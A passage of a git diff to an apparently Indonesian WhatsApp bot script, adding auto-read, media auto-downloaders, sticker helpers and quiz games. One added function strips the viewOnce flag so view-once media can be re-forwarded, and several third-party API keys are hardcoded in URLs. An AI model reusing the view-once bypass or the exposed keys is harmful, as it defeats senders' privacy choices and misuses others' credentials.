teks, contextInfo:{ mentionedJid:[sender], -forwardingScore: 9999999, -isForwarded: true, "externalAdReply": { "showAdAttribution": true, "containsAutoReply": true, @@ -506,44 +801,39 @@ isForwarded: true, "sourceUrl": `${wagc}`}}}, { quoted: m}) } -const replygcxeon2 = (teks) => { -sendXeonBotIncMessage(from, { -text: teks, -mentions:[sender], -contextInfo:{ -forwardingScore: 9999999, -isForwarded: true, -mentionedJid:[sender], -"externalAdReply": { -"showAdAttribution": true, -"renderLargerThumbnail": true, -"title": botname, -"containsAutoReply": true, -"mediaType": 1, -"thumbnail": defaultpp, -"mediaUrl": `${wagc}`, -"sourceUrl": `${wagc}` -} -} -}) -} + const reply = (teks) => { -XeonBotInc.sendMessage(from, { text: teks , -contextInfo:{ -forwardingScore: 9999999, -isForwarded: true -} -}, { quoted : m }) +XeonBotInc.sendMessage(from, { text: teks }, { quoted : m }) } -const sendSticker = (pesan) => { -XeonBotInc.sendImageAsSticker(m.chat, pesan, m, { packname: global.packname, author: global.author }) -} +XeonBotInc.sendImageAsSticker = async (jid, media, m, options = {}) => { + let { Sticker, StickerTypes } = require('wa-sticker-formatter') + const getRandom = (ext) => { + return `${Math.floor(Math.random() * 10000)}${ext}` + } + let jancok = new Sticker(media, { + pack: global.packname, // The pack name + author: global.author, // The author name + type: StickerTypes.FULL, // The sticker type + categories: ['๐Ÿคฉ', '๐ŸŽ‰'], // The sticker category + id: '12345', // The sticker id + quality: 50, // The quality of the output file + background: '#FFFFFF00' // The sticker background color (only for full stickers) + }) + let stok = getRandom(".webp") + let nono = await jancok.toFile(stok) + let nah = fs.readFileSync(nono) + await XeonBotInc.sendMessage(jid,{sticker: nah},{quoted: m}) + return await fs.unlinkSync(stok) + } const sendvn = (teks) => { XeonBotInc.sendMessage(from, { audio: teks, mimetype: 'audio/mp4', ptt: true }, { quoted: m }) } + + + //autoreply for (let BhosdikaXeon of VoiceNoteXeon) { if (budy === BhosdikaXeon) { @@ -569,17 +859,44 @@ let videobuffy = fs.readFileSync(`./XeonMedia/video/${BhosdikaXeon}.mp4`) XeonBotInc.sendMessage(m.chat, { video: videobuffy }, { quoted: m }) } } - -if (m.isGroup && m.mtype == 'viewOnceMessage') { -let teks = `โ•ญใ€Œ *Anti ViewOnce* ใ€\nโ”œ *Name* : ${pushname}\nโ”œ *User* : @${m.sender.split("@")[0]}\nโ”œ *Clock* : ${time2}\nโ”” *Message* : ${m.mtype}` -XeonBotInc.sendMessage(m.chat, { text: teks, mentions: [m.sender] }, { quoted: m }) -await sleep(500) -m.copyNForward(m.chat, true, {readViewOnce: true}, {quoted: m}).catch(_ => m.reply(`Maybe It's Opened`)) +XeonBotInc.copyNForward = async (jid, message, forceForward = false, options = {}) => { +let vtype +if (options.readnce) { +message.message = message.message && message.message.ephemeralMessage && message.message.ephemeralMessage.message ? message.message.ephemeralMessage.message : (message.message || undefined) +vtype = Object.keys(message.message.viewOnceMessage.message)[0] +delete(message.message && message.message.ignore ? message.message.ignore : (message.message || undefined)) +delete message.message.viewOnceMessage.message[vtype].viewOnce +message.message = { +...message.message.viewOnceMessage.message +} +} +let mtype = Object.keys(message.message)[0] +let content = await generateForwardMessageContent(message, forceForward) +let ctype = Object.keys(content)[0] +let context = {} +if (mtype != "conversation") context = message.message[mtype].contextInfo +content[ctype].contextInfo = { +...context, +...content[ctype].contextInfo +} +const waMessage = await generateWAMessageFromContent(jid, content, options ? { +...content[ctype], +...options, +...(options.contextInfo ? { +contextInfo: { +...content[ctype].contextInfo, +...options.contextInfo +} +} : {}) +} : {}) +await XeonBotInc.relayMessage(jid, waMessage.message, { messageId: waMessage.key.id }) +return waMessage } + const lep = { key: { -fromMe: false, +fromMe: true, participant: `0@s.whatsapp.net`, ...({ remoteJid: "" }) }, @@ -606,7 +923,7 @@ jpegThumbnail: defaultpp } } } const banRep = () => { XeonBotInc.sendMessage(m.chat, { -text:`Sorry you've been banned, please chat @${creator.split("@")[0]} to unban`, +text:`Maaf Anda telah diblokir, harap chat @${creator.split("@")[0]} untuk membatalkan pemblokiran`, mentions: [creator], }, { @@ -667,6 +984,17 @@ const repPy = { //let xeonrecordin = ['recording','composing'] //let xeonrecordinfinal = xeonrecordin[Math.floor(Math.random() * xeonrecordin.length)] +if (!m.key.fromMe && db.settings[botNumber].autoread){ +const readkey = { +remoteJid: m.chat, +id: m.key.id, +participant: m.isGroup ? m.key.participant : undefined +} +await XeonBotInc.readMessages([readkey]); +} + +XeonBotInc.sendPresenceUpdate('available', m.chat) + if (global.autoTyping) { if (command) { XeonBotInc.sendPresenceUpdate('composing', from) @@ -707,6 +1035,7 @@ m.reply(`${err}`) } } + const downloadMp3 = async (Link) => { let pNx = require("./scrape/savefrom") let Puxa = await pNx.savefrom(Link) @@ -731,6 +1060,45 @@ fs.unlinkSync(mp3File) m.reply(`${err}`) } } +//================================================================= +if (m.isGroup && isAutoAiGc) { + try { +let data = await fetchJson(`https://kiicodeofficial.my.id/api/ai/bard2?query=${args.join(" ")}&apikey=Dzsyacans`); + if (data.data && data.data.result) { + const videoCaption = data.data.result + .replace(/\\n/g, '\n') + .replace(/\\/g, '') + .replace(/\n/g, '') + .replace(/\nn/g, '') + .replace(/\*/g, ''); + reply(`${videoCaption}`) +} + } catch (err) { + // console.log(err); + replygcxeon("Upss error, silahkan hubungi owner agar di fix"); + // reply(JSON.stringify(err)); + } +} +//================================================================= +async function makeSticker(media,Sticker, StickerTypes){ + const getRandom = (ext) => { + return `${Math.floor(Math.random() * 10000)}${ext}` + } +let jancok = new Sticker(media, { +pack: global.packname, // The pack name +author: global.author, // The author name +type: StickerTypes.FULL, // The sticker type +categories: ['๐Ÿคฉ', '๐ŸŽ‰'], // The sticker category +id: '12345', // The sticker id +quality: 70, // The quality of the output file +background: '#FFFFFF00' // The sticker background color (only for full stickers) +}) +let stok = getRandom('.webp') +let nono = await jancok.toFile(stok) +let nah = fs.readFileSync(nono.path); +await XeonBotInc.sendMessage(from,{sticker: nah},{quoted: m}) +await fs.unlinkSync(stok) +} async function sendPoll(jid, text, list) { XeonBotInc.relayMessage(jid, { @@ -759,6 +1127,20 @@ let res = await axios({ return res.data } +function ttdown(url) { + return new Promise((resolve, reject) => { + if (!url) return reject(new Error("url input is required")); + axios.get("https://developers.tiklydown.me" + "/api/download", { params: { url } }).then(({ data }) => { + console.log(data); + resolve(data); // Menyelesaikan janji dengan mengembalikan data + }).catch((err) => { + console.log(err); + reject(err); // Menyelesaikan janji dengan melempar kesalahan + }); + }); +} + + async function ephoto(url, texk) { let form = new FormData let gT = await axios.get(url, { @@ -808,21 +1190,73 @@ async function quotesanime () { const $ = cheerio.load(data) const hasil = [] $('div.kotodama-list').each(function(l, h) { - hasil.push({ - link: $(h).find('a').attr('href'), - gambar: $(h).find('img').attr('data-src'), - karakter: $(h).find('div.char-name').text().trim(), - anime: $(h).find('div.anime-title').text().trim(), - episode: $(h).find('div.meta').text(), - up_at: $(h).find('small.meta').text(), - quotes: $(h).find('div.quote').text().trim() - }) +hasil.push({ +link: $(h).find('a').attr('href'), +gambar: $(h).find('img').attr('data-src'), +karakter: $(h).find('div.char-name').text().trim(), +anime: $(h).find('div.anime-title').text().trim(), +episode: $(h).find('div.meta').text(), +up_at: $(h).find('small.meta').text(), +quotes: $(h).find('div.quote').text().trim() +}) }) resolve(hasil) }).catch(reject) }) } + +async function addCountCmdUser(nama, sender, u) { +var posi = null +var pos = null +Object.keys(u).forEach((i) => { +if (u[i].jid === sender) { +posi = i +} +}) +if (posi === null) { +u.push({jid: m.sender, db: [{nama: nama, count: 0}]}) +fs.writeFileSync('./database/commandUser.json', JSON.stringify(u, null, 2)); +Object.keys(u).forEach((i) => { +if (u[i].jid === m.sender) { +posi = i +} +}) +} +if (posi !== null) { +Object.keys(u[posi].db).forEach((i) => { +if (u[posi].db[i].nama === nama) { +pos = i +} +}) +if (pos === null) { +u[posi].db.push({nama: nama, count: 1}) +fs.writeFileSync('./database/commandUser.json', JSON.stringify(u, null, 2)); +} else { +u[posi].db[pos].count += 1 +fs.writeFileSync('./database/commandUser.json', JSON.stringify(u, null, 2)); +} +} +} + + +async function addCountCmd(nama, sender, _db) { +addCountCmdUser(nama, m.sender, _cmdUser) +var posi = null +Object.keys(_db).forEach((i) => { +if (_db[i].nama === nama) { +posi = i +} +}) +if (posi === null) { +_db.push({nama: nama, count: 1}) +fs.writeFileSync('./database/command.json',JSON.stringify(_db, null, 2)); +} else { +_db[posi].count += 1 +fs.writeFileSync('./database/command.json',JSON.stringify(_db, null, 2)); +} +} + async function obfus(query) { return new Promise((resolve, reject) => { try { @@ -857,7 +1291,7 @@ async function styletext(teks) { let $ = cheerio.load(data) let hasil = [] $('table > tbody > tr').each(function (a, b) { - hasil.push({ name: $(b).find('td:nth-child(1) > span').text(), result: $(b).find('td:nth-child(2)').text().trim() }) +hasil.push({ name: $(b).find('td:nth-child(1) > span').text(), result: $(b).find('td:nth-child(2)').text().trim() }) }) resolve(hasil) }) @@ -872,16 +1306,16 @@ async function hentaivid() { const $ = cheerio.load(data.data) const hasil = [] $('#primary > div > div > ul > li > article').each(function (a, b) { - hasil.push({ - title: $(b).find('header > h2').text(), - link: $(b).find('header > h2 > a').attr('href'), - category: $(b).find('header > div.entry-before-title > span > span').text().replace('in ', ''), - share_count: $(b).find('header > div.entry-after-title > p > span.entry-shares').text(), - views_count: $(b).find('header > div.entry-after-title > p > span.entry-views').text(), - type: $(b).find('source').attr('type') || 'image/jpeg', - video_1: $(b).find('source').attr('src') || $(b).find('img').attr('data-src'), - video_2: $(b).find('video > a').attr('href') || '' - }) +hasil.push({ +title: $(b).find('header > h2').text(), +link: $(b).find('header > h2 > a').attr('href'), +category: $(b).find('header > div.entry-before-title > span > span').text().replace('in ', ''), +share_count: $(b).find('header > div.entry-after-title > p > span.entry-shares').text(), +views_count: $(b).find('header > div.entry-after-title > p > span.entry-views').text(), +type: $(b).find('source').attr('type') || 'image/jpeg', +video_1: $(b).find('source').attr('src') || $(b).find('img').attr('data-src'), +video_2: $(b).find('video > a').attr('href') || '' +}) }) resolve(hasil) }) @@ -1012,22 +1446,71 @@ async function igstalk(Username) { } async function replyprem(teks) { - m.reply(`This feature is for premium user, contact the owner to become premium user`) + m.reply(`Fitur ini untuk pengguna premium, hubungi pemilik untuk menjadi pengguna premium`) } // Autosticker gc if (isAutoSticker) { if (/image/.test(mime) && !/webp/.test(mime)) { - let mediac = await quoted.download() - await XeonBotInc.sendImageAsSticker(from, mediac, m, { packname: global.packname, author: global.author }) - console.log(`Auto sticker detected`) +let mediac = await quoted.download() +await XeonBotInc.sendImageAsSticker(from, mediac, m, { packname: global.packname, author: global.author }) +console.log(`Auto sticker detected`) } else if (/video/.test(mime)) { - if ((quoted.msg || quoted).seconds > 11) return - let mediac = await quoted.download() - await XeonBotInc.sendVideoAsSticker(from, mediac, m, { packname: global.packname, author: global.author }) +if ((quoted.msg || quoted).seconds > 11) return +let mediac = await quoted.download() +await XeonBotInc.sendVideoAsSticker(from, mediac, m, { packname: global.packname, author: global.author }) } } - +//=========================================\\ +// Auto download tiktok +const { savefrom } = require('@bochilteam/scraper'); + if (budy.startsWith('https://vt.tiktok.com/') || budy.startsWith('https://www.tiktok.com/') || budy.startsWith('https://vm.tiktok.com/')) { + let data = await fetchJson(`https://skizo.tech/api/tiktok?url=${budy}&apikey=dzsyabotz`); + if (data && data.data.play) { + const videoUrl = data.data.play; + const authorNickname = data.data.author ? data.data.author.nickname : "Author None"; + const videoTitle = data.data ? data.data.title : "Judul Video Tidak Tersedia"; + const videoDuration = data.data ? data.data.duration : "Durasi Video Tidak Tersedia"; + const videoCaption = `*Author* : ${authorNickname}\n*judul* : ${videoTitle}\n*Durasi* : ${videoDuration}` || "videonya kak"; + XeonBotInc.sendMessage(m.chat, { caption: videoCaption, video: { url: videoUrl } }, { quoted: m }); + } + } +//=========================================\\ +//Auto Download Video Instagram +if(budy.startsWith("https://www.instagram.com/")) { +const apikey = 'zex'||'global'||'free' + let data = await fetchJson(`https://kiicodeofficial.my.id/api/downloader/instagram?url=${encodeURIComponent(text)}&apikey=Dzsyacans`); + const videoUrl = data.data.url; + const videoCaption = "Video Instagram Nya"; + XeonBotInc.sendMessage(m.chat, { caption: 'ini dia video Instagram nya', video: { url: videoUrl } }, { quoted: m }); +} +//=========================================\\ +//Auto Download Video Facebook +if(budy.includes('https://www.facebook.com/')){ +const apikey = 'zex'||'global'||'free' +let data = await fetchJson(`https://kiicodeofficial.my.id/api/downloader/facebook?url=${encodeURIComponent(text)}&apikey=Dzsyacans`); + if (data && data.data.urls.sd) { + const videoUrl = data.data.urls.sd; + const videoCaption = data.data.title || "Video Facebook"; + XeonBotInc.sendMessage(m.chat, { caption: videoCaption, video: { url: videoUrl } }, { quoted: m }); + } else { + replygcxeon('Video Facebook tidak ditemukan atau terjadi kesalahan.'); + } +} +//=========================================\\ +if (m.isGroup && isAlreadyResponList(m.chat, body.toLowerCase(), db_respon_list)) { +var get_data_respon = getDataResponList(m.chat, body.toLowerCase(), db_respon_list) +if (get_data_respon.isImage === false) { +XeonBotInc.sendMessage(m.chat, { text: sendResponList(m.chat, body.toLowerCase(), db_respon_list) }, { +quoted: m +}) +} else { +XeonBotInc.sendMessage(m.chat, { image: await getBuffer(get_data_respon.image_url), caption: get_data_respon.response }, { +quoted: m +}) +} +} +//=========================================\\ // Anti Link if (Antilinkgc) { if (budy.match(`chat.whatsapp.com`)) { @@ -1035,9 +1518,9 @@ async function replyprem(teks) { let gclink = (`https://chat.whatsapp.com/`+await XeonBotInc.groupInviteCode(m.chat)) let isLinkThisGc = new RegExp(gclink, 'i') let isgclink = isLinkThisGc.test(m.text) - if (isgclink) return XeonBotInc.sendMessage(m.chat, {text: `\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\nYou won't be kicked by a bot because what you send is a link to this group`}) - if (isAdmins) return XeonBotInc.sendMessage(m.chat, {text: `\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\nAdmin has sent a link, admin is free to post any link`}) - if (XeonTheCreator) return XeonBotInc.sendMessage(m.chat, {text: `\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\nOwner has sent a link, owner is free to post any link`}) + if (isgclink) return XeonBotInc.sendMessage(m.chat, {text: `\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\n Anda tidak akan di kick oleh bot karena yang Anda kirim adalah tautan ke grup ini`}) + if (isAdmins) return XeonBotInc.sendMessage(m.chat, {text: `\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\n Admin mengirimkan link, admin mah bebas memposting link apapun`}) + if (XeonTheCreator) return XeonBotInc.sendMessage(m.chat, {text: `\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\n owner telah mengirim tautan, owner bebas memposting tautan apa pun`}) kice = m.sender await XeonBotInc.sendMessage(m.chat, { @@ -1049,7 +1532,7 @@ async function replyprem(teks) { } }) XeonBotInc.groupParticipantsUpdate(m.chat, [m.sender], 'remove') - XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\n@${kice.split("@")[0]} Has been kicked because of sending group link in this group`, contextInfo:{mentionedJid:[kice]}}, {quoted:m}) + XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Group Link Detected ใ€\`\`\`\n\n@${kice.split("@")[0]} Telah di kick karena mengirimkan tautan grup di grup ini`, contextInfo:{mentionedJid:[kice]}}, {quoted:m}) } } @@ -1222,7 +1705,7 @@ if (AntiLinkTelegram) if (budy.includes("https://t.me/")){ if (AntiLinkTelegram) if (!isBotAdmins) return -bvl = `\`\`\`ใ€Œ Telegram Link Detected ใ€\`\`\`\n\nAdmin has sent a telegram link, admin is free to send any link๐Ÿ˜‡` +bvl = `\`\`\`ใ€Œ Telegram Link Detected ใ€\`\`\`\n\nAdmin kirim link telegram, admin mah bebas kirim link apapun๐Ÿ˜‡` if (isAdmins) return m.reply(bvl) if (m.key.fromMe) return m.reply(bvl) if (XeonTheCreator) return m.reply(bvl) @@ -1236,14 +1719,13 @@ if (XeonTheCreator) return m.reply(bvl) } }) XeonBotInc.groupParticipantsUpdate(m.chat, [m.sender], 'remove') -XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Telegram Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Has been kicked because of sending telegram link in this group`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) +XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Telegram Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Telah di kick karena mengirim tautan telegram di grup ini`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) } else { } -//antilink tiktok by xeon if (AntiLinkTiktok) if (budy.includes("https://www.tiktok.com/")){ if (!isBotAdmins) return -bvl = `\`\`\`ใ€Œ Tiktok Link Detected ใ€\`\`\`\n\nAdmin has sent a tiktok link, admin is free to send any link๐Ÿ˜‡` +bvl = `\`\`\`ใ€Œ Tiktok Link Detected ใ€\`\`\`\n\nAdmin kirim link tiktok, admin mah bebas kirim link apapun๐Ÿ˜‡` if (isAdmins) return m.reply(bvl) if (m.key.fromMe) return m.reply(bvl) if (XeonTheCreator) return m.reply(bvl) @@ -1257,14 +1739,14 @@ if (XeonTheCreator) return m.reply(bvl) } }) XeonBotInc.groupParticipantsUpdate(m.chat, [m.sender], 'remove') -XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Tiktok Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Has been kicked because of sending tiktok link in this group`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) +XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Tiktok Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Telah di kick karena mengirim tautan tiktok di grup ini`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) } else { } //antilink twitter by xeon if (AntiLinkTwitter) if (budy.includes("https://twitter.com/")){ if (!isBotAdmins) return -bvl = `\`\`\`ใ€Œ Twitter Link Detected ใ€\`\`\`\n\nAdmin has sent a twitter link, admin is free to send any link๐Ÿ˜‡` +bvl = `\`\`\`ใ€Œ Twitter Link Detected ใ€\`\`\`\n\nAdmin sudah kirim link twitter, admin mah bebas kirim link apapun๐Ÿ˜‡` if (isAdmins) return m.reply(bvl) if (m.key.fromMe) return m.reply(bvl) if (XeonTheCreator) return m.reply(bvl) @@ -1278,14 +1760,262 @@ if (XeonTheCreator) return m.reply(bvl) } }) XeonBotInc.groupParticipantsUpdate(m.chat, [m.sender], 'remove') -XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Tiktok Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Has been kicked because of sending twitter link in this group`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) +XeonBotInc.sendMessage(from, {text:`\`\`\`ใ€Œ Tiktok Link Detected ใ€\`\`\`\n\n@${m.sender.split("@")[0]} Telah di kick karena mengirim tautan twitter di grup ini`, contextInfo:{mentionedJid:[m.sender]}}, {quoted:m}) } else { } + +XeonBotInc.family100 = XeonBotInc.family100 ? XeonBotInc.family100 : {} +if(from in XeonBotInc.family100){ +let similarity = require('similarity') +let threshold = 0.72 // semakin tinggi nilai, semakin mirip +let id = m.chat +let users = global.db.users[m.sender] +let room = XeonBotInc.family100[id] +let text = budy.toLowerCase().replace(/[^\w\s\-]+/, '') +let isSurrender = /^((me)?nyerah|surr?ender)$/i.test(budy) +if (!isSurrender) { +let index = room.jawaban.indexOf(text) + +if (index < 0) { +if (Math.max(...room.jawaban.filter((_, index) => !room.terjawab[index]).map(jawaban => similarity(jawaban, text))) >= threshold) return replygcxeon('Dikit lagi!') + } +if (!isCmd && room.terjawab[index]) {return} +users.money += room.winScore +room.terjawab[index] = m.sender +} +let isWin = room.terjawab.length === room.terjawab.filter(v => v).length + +let caption = `*GAME FAMILY100* + +*Soal:* ${room.soal} + +Terdapat ${room.jawaban.length} jawaban${room.jawaban.find(v => v.includes(' ')) ? ` +(beberapa jawaban terdapat spasi) +`: ''} +${isWin ? `*SEMUA JAWABAN TERJAWAB โœ…*` : isSurrender ? '*MENYERAH โŒ*' : ''} +${Array.from(room.jawaban, (jawaban, index) => { + return isSurrender || room.terjawab[index] ? `(${index + 1}) ${jawaban} ${room.terjawab[index] ? 'โœ“ ' + room.terjawab[index].split('@')[0] : ''}`.trim() : false + }).filter(v => v).join('\n')} + +${isSurrender ? '' : `+${room.winScore} Money tiap jawaban benar`} + `.trim() + +XeonBotInc.sendMessage(from, {text: `${caption}`, mentions: [room.terjawab + '@s.whatsapp.net']}, {quoted: m}).then(msg => { + XeonBotInc.family100[id].msg = msg +}).catch(_ => _) +if (isWin || isSurrender) delete XeonBotInc.family100[id] +//if (isWin || isSurrender) clearTimeout(200000) +} + +if (tebaklagu.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { +kuis = true +jawaban = tebaklagu[m.sender.split('@')[0]] +if (budy.toLowerCase() == jawaban) { + XeonBotInc.sendMessage(m.chat, { image: { url: 'https://telegra.ph/file/14744917bea0185b52fb1.jpg' }, caption: `๐ŸŽฎ Tebak Lagu ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰\n\nIngin bermain lagi? Silahkan Ketik Tebak Lagu`}, {quoted:m}) + delete tebaklagu[m.sender.split('@')[0]] +} else replygcxeon('*Jawaban Salah!*') +} + +XeonBotInc.tebakkata = XeonBotInc.tebakkata ? XeonBotInc.tebakkata : {} +if (from in XeonBotInc.tebakkata) { +let id = m.chat +let users = global.db.users[m.sender] +let json = JSON.parse(JSON.stringify(XeonBotInc.tebakkata[id][1])) +kuis = true +if (budy.toLowerCase() == json.jawaban.toLowerCase().trim()) { + users.money += 10000 + var teks = `๐ŸŽฎ Tebak Kata ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰\nHadiah : 10.000 money\n` + replygcxeon(`${teks}`) + clearTimeout(XeonBotInc.tebakkata[id][2]) + delete XeonBotInc.tebakkata[id] +} else replygcxeon('*Jawaban Salah!*') +} + +XeonBotInc.tebakgambar = XeonBotInc.tebakgambar ? XeonBotInc.tebakgambar : {} +if(from in XeonBotInc.tebakgambar) { +kuis = true +let id = m.chat +let users = global.db.users[m.sender] +let json = JSON.parse(JSON.stringify(XeonBotInc.tebakgambar[id][1])) + if (budy.toLowerCase() == json.jawaban.toLowerCase().trim()) { + users.money += 10000 + var teks = `๐ŸŽฎ Tebak Gambar ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰\nHadiah : 10.000 money\n\nIngin bermain lagi? Silahkan Ketik TebakGambar` + replygcxeon(`${teks}`) + clearTimeout(XeonBotInc.tebakgambar[id][3]) + delete XeonBotInc.tebakgambar[id] +} else replygcxeon('*Jawaban Salah!*') +} + +if (tebakbendera2.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { + kuis = true + jawaban = tebakbendera2[m.sender.split('@')[0]] + if (budy.toLowerCase() == "nyerah") { +await replygcxeon('*Anda Telah menyerah*') +delete tebakbendera2[m.sender.split('@')[0]] + } else if (budy.toLowerCase() == jawaban) { +await XeonBotInc.sendText(m.chat, `๐ŸŽฎ Tebak Bendera ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰`, m) +delete tebakbendera2[m.sender.split('@')[0]] + } else replygcxeon('*Jawaban Salah!*') + } + +if (tebakbendera.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { + kuis = true + jawaban = tebakbendera[m.sender.split('@')[0]] + if (budy.toLowerCase() == "nyerah") { +await replygcxeon('*Anda Telah menyerah*') +delete tebakbendera[m.sender.split('@')[0]] + } else if (budy.toLowerCase() == jawaban) { +await XeonBotInc.sendText(m.chat, `๐ŸŽฎ Tebak Gambar ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰`, m) +delete tebakbendera[m.sender.split('@')[0]] + } else replygcxeon('*Jawaban Salah!*') + } + + if (tebakkabupaten.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { + kuis = true + jawaban = tebakkabupaten[m.sender.split('@')[0]] + if (budy.toLowerCase() == "nyerah") { +await replygcxeon('*Anda Telah menyerah*') +delete tebakkabupaten[m.sender.split('@')[0]] + } else if (budy.toLowerCase() == jawaban) { +await XeonBotInc.sendText(m.chat, `๐ŸŽฎ Tebak Kabupaten ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰`, m) +delete tebakkabupaten[m.sender.split('@')[0]] + } else replygcxeon('*Jawaban Salah!*') + } + if (tebakkimia.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { + kuis = true + jawaban = tebakkimia[m.sender.split('@')[0]] + if (budy.toLowerCase() == "nyerah") { +await replygcxeon('*Anda Telah menyerah*') +delete tebakkimia[m.sender.split('@')[0]] + } else if (budy.toLowerCase() == jawaban) { +await XeonBotInc.sendText(m.chat, `๐ŸŽฎ Tebak Kimia ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰`, m) +delete tebakkimia[m.sender.split('@')[0]] + } else replygcxeon('*Jawaban Salah!*') + } + +//=========================================\\ +XeonBotInc.tekateki = XeonBotInc.tekateki ? XeonBotInc.tekateki : {} +if(from in XeonBotInc.tekateki){ +let users = global.db.users[m.sender] +const similarity = require('similarity') +const threshold = 0.72 +let id = m.chat + let json = JSON.parse(JSON.stringify(XeonBotInc.tekateki[id][1])) + + if (budy.toLowerCase() == json.jawaban.toLowerCase().trim()) { +users.money += XeonBotInc.tekateki[id][2] + var teks = `*GAME TEKATEKI*\n\nJawaban Kamu Benar!\n Hadiah : +${XeonBotInc.tekateki[id][2]} Money ๐Ÿ’ธ` + replygcxeon(`${teks}`) + clearTimeout(XeonBotInc.tekateki[id][3]) + delete XeonBotInc.tekateki[id] + } else if(similarity(budy.toLowerCase(), json.jawaban.toLowerCase().trim()) >= threshold) replygcxeon(`*Dikit Lagi!*`) +} +//=========================================\\ + +if (tebakasahotak.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { + kuis = true + jawaban = tebakasahotak[m.sender.split('@')[0]] + if (budy.toLowerCase() == "nyerah") { +await replygcxeon('*Anda Telah menyerah*') +delete tebakasahotak[m.sender.split('@')[0]] + } else if (budy.toLowerCase() == jawaban) { +await XeonBotInc.sendText(m.chat, `๐ŸŽฎ Asah Otak ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰`, m) +delete tebakasahotak[m.sender.split('@')[0]] + } else replygcxeon('*Jawaban Salah!*') + } +//=========================================\\ + XeonBotInc.siapaaku = XeonBotInc.siapaaku ? XeonBotInc.siapaaku : {} +if(from in XeonBotInc.siapaaku){ +const similarity = require('similarity') +const threshold = 0.72 +let id = m.chat +let users = global.db.users[m.sender] + let json = JSON.parse(JSON.stringify(XeonBotInc.siapaaku[id][1])) + + if (budy.toLowerCase() == json.jawaban.toLowerCase().trim()) { +users.money += XeonBotInc.siapaaku[id][2] +var teks = `*GAME SIAPAKAH AKU*\n\nJawaban Kamu Benar!\n Hadiah : +${XeonBotInc.siapaaku[id][2]} Money ๐Ÿ’ธ` + replygcxeon(`${teks}`) + clearTimeout(XeonBotInc.siapaaku[id][3]) + delete XeonBotInc.siapaaku[id] + } else if(similarity(budy.toLowerCase(), json.jawaban.toLowerCase().trim()) >= threshold) replygcxeon(`*Dikit Lagi!*`) +// else reply(`*Salah!*`) +} +//=========================================\\ + XeonBotInc.susunkata = XeonBotInc.susunkata ? XeonBotInc.susunkata : {} +if(from in XeonBotInc.susunkata){ +const similarity = require('similarity') +const threshold = 0.72 +let id = m.chat +let users = global.db.users[m.sender] + let json = JSON.parse(JSON.stringify(XeonBotInc.susunkata[id][1])) + + if (budy.toLowerCase() == json.jawaban.toLowerCase().trim()) { +users.money += XeonBotInc.susunkata[id][2] + var teks = `*GAME SUSUN KATA*\n\nJawaban Kamu Benar!\n Hadiah : +${XeonBotInc.susunkata[id][2]} Money ๐Ÿ’ธ` +replygcxeon(`${teks}`) + clearTimeout(XeonBotInc.susunkata[id][3]) + delete XeonBotInc.susunkata[id] + } else if(similarity(budy.toLowerCase(), json.jawaban.toLowerCase().trim()) >= threshold) replygcxeon(`*Dikit Lagi!*`) +// else reply(`*Salah!*`) + +} +//=========================================\\ +if (caklontong.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { +kuis = true +jawaban = caklontong[m.sender.split('@')[0]] +deskripsi = caklontong_desk[m.sender.split('@')[0]] +if (budy.toLowerCase() == jawaban) { + XeonBotInc.sendMessage(m.chat, { image: { url: 'https://telegra.ph/file/14744917bea0185b52fb1.jpg' }, caption: `๐ŸŽฎ Tebak Lontong ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰\n\nIngin bermain lagi? Silahkan Ketik Tebak Lontong`}, {quoted:m}) + delete caklontong[m.sender.split('@')[0]] +delete caklontong_desk[m.sender.split('@')[0]] +} else replygcxeon('*Jawaban Salah!*') +} + +if (tebakkalimat.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { +kuis = true +jawaban = tebakkalimat[m.sender.split('@')[0]] +if (budy.toLowerCase() == jawaban) { + XeonBotInc.sendMessage(m.chat, { image: { url: 'https://telegra.ph/file/14744917bea0185b52fb1.jpg' }, caption: `๐ŸŽฎ Tebak Kalimat ๐ŸŽฎ\n\nJawaban Benar ๐ŸŽ‰\n\nIngin bermain lagi? Silahkan Ketik Tebak Kalimat`}, {quoted:m}) + delete tebakkalimat[m.sender.split('@')[0]] +} else replygcxeon('*Jawaban Salah!*') +} + +//=========================================// +XeonBotInc.tebaklirik = XeonBotInc.tebaklirik ? XeonBotInc.tebaklirik : {} +if(from in XeonBotInc.tebaklirik){ +const similarity = require('similarity') +const threshold = 